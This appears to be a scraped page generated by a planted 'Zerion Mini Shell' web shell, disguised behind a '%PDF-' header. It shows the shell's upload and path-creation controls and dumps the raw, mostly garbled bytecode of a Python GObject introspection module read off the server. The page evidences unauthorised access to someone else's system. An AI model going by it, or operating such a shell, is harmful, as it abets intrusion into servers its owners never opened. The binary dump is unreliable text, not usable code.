%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/gi/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/gi/__pycache__/module.cpython-312.pyc

�

��f�&����ddlZddlmZddlZddlmZmZmZmZm	Z	m
Z
mZmZm
Z
mZmZmZmZmZmZmZmZmZmZddlmZmZddlmZmZmZmZm Z ejB�Z"iZ#d�Z$d�Z%Gd	�d
e&�Z'd�Z(y)�N)�Lock�)�
Repository�FunctionInfo�RegisteredTypeInfo�EnumInfo�
ObjectInfo�
InterfaceInfo�ConstantInfo�
StructInfo�	UnionInfo�CallbackInfo�Struct�Boxed�Fundamental�	CCallback�enum_add�enum_register_new_gtype_and_add�	flags_add� flags_register_new_gtype_and_add�
GInterface)�GObjectMeta�
StructMeta)�	TYPE_NONE�
TYPE_BOXED�TYPE_POINTER�	TYPE_ENUM�
TYPE_FLAGSc�Z�|j�}|sV|j�}|r|jr|jS|j�r|j	�rt
StS|j�}|j�}tjd|z�}t||�S�N�gi.repository.)�
get_parent�
get_g_type�pytype�get_fundamental�is_instantiatabler�object�
get_namespace�get_name�	importlib�
import_module�getattr)�object_info�parent_object_info�gtype�	namespace�name�modules      �+/usr/lib/python3/dist-packages/gi/module.py�get_parent_for_objectr4Bs���$�/�/�1����&�&�(���U�\�\��<�<���&�&�(�U�-D�-D�-F����
�"�0�0�2�I��&�&�(�D�
�
$�
$�%5�	�%A�
B�F��6�4� � �c���g}|j�D]U}|j�}|j�}tjd|z�}|jt
||���W|Sr )�get_interfacesr(r)r*r+�appendr,)r-�
interfaces�interface_infor0r1r2s      r3�get_interfaces_for_objectr;\sn���J�%�4�4�6�1��"�0�0�2�	��&�&�(���(�(�)9�I�)E�F�����'�&�$�/�0�1��r5c�*�eZdZdZdd�Zd�Zd�Zd�Zy)�IntrospectionModuleaUAn object which wraps an introspection typelib.

    This wrapping creates a python module like representation of the typelib
    using gi repository as a foundation. Accessing attributes of the module
    will dynamically pull them in and create wrappers for the members.
    These members are then cached on this introspection module.
    Nc�,�tj||�||_||_d|z|_tj|j�}|g|_|j�$tj|j�|_t�|_	y)z"Might raise gi._gi.RepositoryErrorr!N)
�
repository�require�
_namespace�_version�__name__�get_typelib_path�__path__�get_versionr�_lock)�selfr0�version�paths    r3�__init__zIntrospectionModule.__init__ost��	���9�g�.�#�����
�(�9�4��
��*�*�4�?�?�;�����
��=�=� �&�2�2�4�?�?�C�D�M��V��
r5c
����tj|j|�}|st|j�d|����t|t��rw|j�}|j5|j}|��1|j�r8|jt�rt|�}nN|tk(sJ�t|�}n7|jt �rt#|�}n|tk(sJ�t%|�}||_d|j)�z|_dj-dd�}|j/�D]B}|j1�j3|�}t5||||j7����D|j9�D]}t5||j|��|tk7r||_	ddd��nt|t:��r�|j�}t|t<�r5t?|��tA�fd�tC|�D��}	�f|	z}
tD}n�t|tF�rtHf}
tD}n�t|tJ�rtLf}
tD}n�t|tNtPf�r�|jtR�rtTf}
nb|jtV�s|tk(s|jX|k(rtZf}
n-t]d|j)��d|j_�����t`}ntc|��|j5|tk7r,|j}|�||
vr||jd|<|cddd�S|d|jz|d	�}
|||
|
�}|tk7r||_	ddd�n?t|tf�r|}n,t|th�r|j7�}ntc|��|jd|<|S#1swY�xYw#1swY�&xYw)
Nz object has no attribute r!��abcdefgjhijklmnopqrstuvwxyz�ABCDEFGJHIJKLMNOPQRSTUVWXYZc3�:�K�|]}t�|�s|���y�w�N)�
issubclass)�.0�	interface�parents  �r3�	<genexpr>z2IntrospectionModule.__getattr__.<locals>.<genexpr>�s$�����#I��*4�V�Y�*G�$-�#I�s�zunable to create a wrapper for �.)�__info__�
__module__�	__gtype__)5r?�find_by_namerA�AttributeErrorrC�
isinstancerr#rGr$�is_flags�is_arrrrrrrrXr(rY�	maketrans�
get_values�get_name_unescaped�	translate�setattr�	get_value�get_methodsrr	r4�tupler;rrrr
rrr
rrr�fundamentalr�	TypeErrorr)r�NotImplementedError�__dict__rr)rHr1�info�g_type�wrapper�ascii_upper_trans�
value_info�
value_name�method_infor9�bases�	metaclass�type_�dict_rUs              @r3�__getattr__zIntrospectionModule.__getattr__s�����&�&�t����=��� �!%����"6�7�
7��d�H�%��_�_�&�F����!
,� �-�-���?��}�}��!�;�;�z�2�&/��&7�G�#)�Y�#6�6�#6�&F�t�&L�G�!�;�;�y�1�&.�v�&6�G�#)�Y�#6�6�#6�&E�d�&K�G�'+�G�$�)9�D�<N�<N�<P�)P�G�&�
)+���5�5�)7�%�'+�o�o�&7�V�
�%/�%B�%B�%D�%N�%N�O`�%a�
����W�Z�=Q�=Q�=S�5T�U�V�(,�'7�'7�'9�L�����)=�)=�{�K�L��Y�&�$+�F�M�C!
,�!
,�F��0�
1��_�_�&�F��$�
�+�.�t�4��"�#I�>W�X\�>]�#I�I�
��	�J�.��'�	��D�,�/�"���'�	��D�-�0�#�
��'�	��D�:�y�"9�:��;�;�z�*�"�H�E��k�k�,�/��	�)��(�(�F�2�#�I�E�#�d�N`�N`�Nb�dh�dq�dq�ds�$t�u�u�&�	�)�$�/�/����
,��Y�&�"�M�M�E��(�U�%�-?�.3��
�
�d�+�$�
,�
,�!%�"2�T�_�_�"D�!'���
$�D�%��7���Y�&�$+�F�M�+
,�
,�.��l�
+��G�
��l�
+��n�n�&�G�%�d�+�+�
&��
�
�d����E!
,�!
,��@
,�
,�s�+EO�,O#�-O#�O �#O,c�f�tj|j�}d|j�d|�d�S)Nz<IntrospectionModule z from �>)r?rDrA)rHrJs  r3�__repr__zIntrospectionModule.__repr__�s%���*�*�4�?�?�;��59�_�_�d�K�Kr5c��tt|j��}|j|jj��tj|j�}|jd�|D��t|�S)Nc3�\K�|]$}t|t�s|j����&y�wrQ)r]rr))rSrls  r3rVz.IntrospectionModule.__dir__.<locals>.<genexpr>�s'����:�$�$�T�<�8��m�m�o�:�s�*,)
�set�dir�	__class__�updaterk�keysr?�	get_infosrA�list)rH�result�namespace_infoss   r3�__dir__zIntrospectionModule.__dir__�sh���S����(�)���
�
�d�m�m�(�(�*�+�%�.�.�t���?���
�
�:�/�:�	:��F�|�r5rQ)rCrY�__qualname__�__doc__rKrwrzr��r5r3r=r=gs���� k�ZL�
r5r=c�|�|tvr	t|Stj|�}t||�}|t|<|S)z�
    :Returns:
        An object directly wrapping the gi module without overrides.

    Might raise gi._gi.RepositoryError
    )�_introspection_modules�gi�get_required_versionr=)r0rIr2s   r3�get_introspection_moduler�sD���*�*�%�i�0�0��%�%�i�0�G�
 ��G�
4�F�(.��9�%��Mr5))r*�	threadingrr��_girrrrr	r
rrr
rrrrrrrrrr�typesrr�
_constantsrrrrr�get_defaultr?r�r4r;r'r=r�r�r5r3�<module>r�su��.��	�������(���$�Z�
#�
#�
%�
���!�4�V�&�V�r
r5

Zerion Mini Shell 1.0